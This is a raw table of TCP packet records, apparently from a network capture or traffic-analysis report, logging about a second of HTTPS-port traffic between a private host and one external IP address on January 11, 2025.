Jan 11, 2025 09:26:38.594101906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.594594955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.594613075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.594671011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.594676971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.594712019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.595201969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.595221996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.595268011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.595273972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.595329046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.595732927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.595748901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.595794916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.595801115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.595830917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.595846891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.596491098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.596512079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.596545935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.596551895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.596584082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.597060919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.597078085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.597117901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.597125053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.597219944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.600035906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.663050890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.663116932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.663165092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.663197041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.663224936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.663252115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.680288076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.680330992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.680382967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.680408955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.680447102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.680465937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.680921078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.680969000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.681000948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.681009054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.681031942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.681056023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.681566000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.681605101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.681633949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.681641102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.681667089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.681684971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.682145119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.682193041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.682219982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.682226896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.682254076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.682265997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.682714939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.682723999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.682768106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.682780981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.682795048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.682828903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.682849884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.683459997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.683506966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.683540106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.683547020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.683573008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.683594942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.684046030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.684094906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.684127092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.684132099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.684154034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.684179068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.695621014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.749855042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.749891043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.749979019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.750004053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.750022888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.750041008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.765810966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.767214060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.767261028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.767328978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.767340899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.767383099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.767756939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.767796993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.767812967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.767817974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.767853022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.767877102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.767901897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.768285990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.768332005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.768346071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.768353939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.768382072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.768400908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.768918037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.768956900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.768961906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.768980980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.769011021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.769062996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.769674063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.769716978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.769737005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.769743919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.769762993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.769783020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.769889116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.769927025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.769942999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.769951105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.769978046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.769989014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.770606041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.770644903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.770664930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.770674944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.770703077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.770718098 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.836592913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.836625099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.836673975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.836703062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.836726904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.836745977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.853777885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.853799105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.853960037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.853984118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.854356050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.854386091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.854415894 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.854427099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.854441881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.854465008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.854852915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.854867935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.854899883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.854908943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.854924917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.854943991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.855362892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.855384111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.855411053 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.855418921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.855437994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.855457067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.855873108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.855890989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.855921030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.855932951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.855951071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.855964899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.856286049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.856302977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.856336117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.856343031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.856372118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.856390953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.856811047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.856827974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.856859922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.856868029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.856889963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.856909037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.876002073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.923595905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.923674107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.923717022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.923747063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.923773050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.923791885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.940922022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.940970898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.941046953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.941056967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.941121101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.941385031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.941431046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.941452980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.941462040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.941483974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.941499949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.942075968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.942121029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.942133904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.942147017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.942162037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.942186117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.942365885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.942413092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.942429066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.942437887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.942466021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.942480087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.942902088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.942948103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.942970037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.942982912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.943000078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.943017960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.943519115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.943563938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.943578959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.943593979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.943618059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.943634987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.943965912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.944013119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.944025040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.944037914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:38.944065094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:38.944082022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.010395050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.010457039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.010477066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.010507107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.010521889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.010546923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.027710915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.027760029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.027787924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.027812958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.027827024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.027864933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.028151989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.028199911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.028215885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.028225899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.028242111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.028261900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.028625965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.028673887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.028696060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.028703928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.028714895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.028738022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.029150009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.029191971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.029261112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.029268026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.029309034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.029589891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.029634953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.029654026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.029663086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.029684067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.029709101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.030111074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.030168056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.030193090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.030217886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.030224085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.030265093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.030527115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.030571938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.030587912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.030596972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.030626059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.030643940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.045212030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.101751089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.101793051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.101902008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.101928949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.101970911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.127407074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.127463102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.127521992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.127532005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.127582073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.140973091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.141694069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.141755104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.141788006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.141802073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.141829014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.141841888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.151840925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.160634995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.160687923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.160743952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.160768032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.160795927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.160814047 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.162700891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.170283079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.170334101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.170382023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.170404911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.170429945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.170461893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.189398050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.189424992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.189534903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.189562082 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.189603090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.199068069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.199116945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.199141979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.199165106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.199177980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.199215889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.218066931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.218177080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.218321085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.218353987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.218396902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.218396902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.232232094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.232255936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.232340097 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.232367992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.232403994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.246604919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.246620893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.246718884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.246738911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.246783972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.260991096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.261040926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.261116982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.261142969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.261178970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.261194944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.270716906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.270736933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.270837069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.270855904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.270900965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.271059036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.271074057 CET	443	49941	85.239.54.77	192.168.2.7
